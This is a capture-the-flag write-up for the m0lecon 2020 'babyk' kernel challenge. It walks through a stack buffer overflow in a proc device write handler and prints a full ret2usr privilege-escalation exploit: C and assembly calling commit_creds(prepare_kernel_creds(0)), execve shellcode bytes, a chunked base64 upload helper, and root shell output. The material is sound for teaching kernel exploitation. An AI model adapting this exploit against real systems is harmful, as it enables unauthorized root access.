24 May 2020
babyk - m0lecon 2020 Teaser - pwn
The challenge
That was an introductory challenge in kernel exploitation, all modern protections were disabled, source code was given, and the vulnerability was an easy to spot buffer overflow in the write handler of the module.
	char buf[BUFSIZE];
	// if(*ppos > 0 || count > BUFSIZE)
		// return -EFAULT;
	if(raw_copy_from_user(buf, ubuf, count)) // no bounds checking at all
		return -EFAULT;
So the plan to get root privileges is:
- take control over saved_rip with the buffer overflow
 - make the kernel return to user mapped code, and execute commit_creds(prepare_kernel_creds(0))
 - nicely switch to userspace without crashing the kernel, to spawn a shell and read the flag
 
Finding the right number of A’s
echo aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac > /proc/babydev
Gives a nice kernel panic with RIP=0x6261616862616167 which in ascii translates to gaabhaab
~$ pwn cyclic -l gaab
124
Putting all together
exploit.c
#define MAP_PRIVATE     0x02    /* Changes are private.  */
#define MAP_FIXED       0x10    /* Interpret addr exactly.  */
#define MAP_ANONYMOUS   0x20    /* Don't use a file.  */
#define	O_RDWR		    0x0002  /* open for reading and writing */
typedef unsigned long long qword;
extern void kernel_shellcode();
char user_shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
qword mcpy(char * dst, char * src, qword n)
{
    for (qword i = 0; i < n; ++i)
        dst[i] = src[i];
	return n;
}
void * mmap(void * addr, qword size, qword prot, qword flags)
{
    return syscall64(9, addr, size, prot, flags, -1, 0);
}
int _start (int argc, char **argv) 
{
	char buf[0x1000];
	char * payload = buf;
    // Prepare memory for ret2usr
	void *userland_stack = mmap((void *)0xcafe000, 0x1000, 7, MAP_ANONYMOUS|MAP_PRIVATE|0x0100);
	void *userland_code = mmap((void *)0x1234000, 0x1000, 7, MAP_ANONYMOUS|MAP_FIXED|MAP_PRIVATE);
	mcpy(userland_code, &user_shellcode,sizeof(user_shellcode));
    // Fill up stack until saved_rip
	for (int i = 0;  i < 124; i++)
		*(payload++) = 'A';
	*(qword *)payload = (qword) kernel_shellcode; payload += 8;
	// Profit
	int vuln_fd = syscall64(2, "/proc/babydev", O_RDWR,100,0, 0,0);
	syscall64(1, vuln_fd, buf, payload - buf, -1,-1,-1);
	syscall64(0x60, 0, -1,-1,-1,-1,-1);
	return 0;
}
exploit.S
.text
.intel_syntax noprefix
.global syscall64
.global kernel_shellcode
kernel_shellcode:
    # commit_cred(prepare_kernel_creds(0))
    xor rdi, rdi
    mov rcx, 0xffffffff81052a60     # cat kallsyms | grep prepare_kernel_creds
    call rcx
    mov rdi, rax
    mov rcx, 0xffffffff81052830     # cat kallsyms | grep commit_creds
    call rcx
context_switch:
    swapgs
    # ss
    mov r15, 0x2b
    push 0x2b 
    # rsp - mmapped value
    mov r15, 0xcafe000
    push r15
    # rflags - dummy value
    mov r15, 0x246
    push r15
    # cs
    mov r15, 0x33
    push r15
    # rip - mmapped value
    mov r15, 0x1234000
    push r15
    iretq
end_kernel_shellcode:
    nop
syscall64:
    pop r14
    pop r15
    push r15
    push r14
    sub rsp, 0x100
    mov rax, rdi
    mov rdi, rsi
    mov rsi, rdx
    mov rdx, rcx
    mov r10, r8
    mov r8,r9 
    mov r9, r15
    syscall
    add rsp, 0x100
    ret
Compilable with the command: gcc exploit/exploit.c exploit/exploit.S -no-pie -nostdlib -fomit-frame-pointer.
Since gcc was not available on the remote qemu instance, the exploit needed to be compiled in local and then sent it to the remote server, this did the trick:
def send_exploit(compressed_elf):
    CHUNK_SZ = 256
    for i in range(0, len(compressed_elf), CHUNK_SZ):
        chunk = compressed_elf[i: min(i + CHUNK_SZ, len(compressed_elf))]
        chunk = base64.b64encode(chunk)
        cmd = "echo %s | base64 -d  >> /home/user/exp.gz" % chunk.decode()
        p.sendline(cmd)
    p.sendline("cat /home/user/exp.gz | gzip -d > /home/user/exp")
    p.sendline("chmod +x /home/user/exp")
Profit
/ $ /home/user/exp
/bin/sh: can't access tty; job control turned off
/ # cat /root/flag.txt
ptm{y0ure_w3lc0m3_4_4ll_th15_k3rn3l_m3g4_fun}
References:
- https://mem2019.github.io/jekyll/update/2019/01/11/Linux-Kernel-Pwn-Basics.html
 - https://github.com/pr0cf5/kernel-exploit-practice/tree/master/return-to-user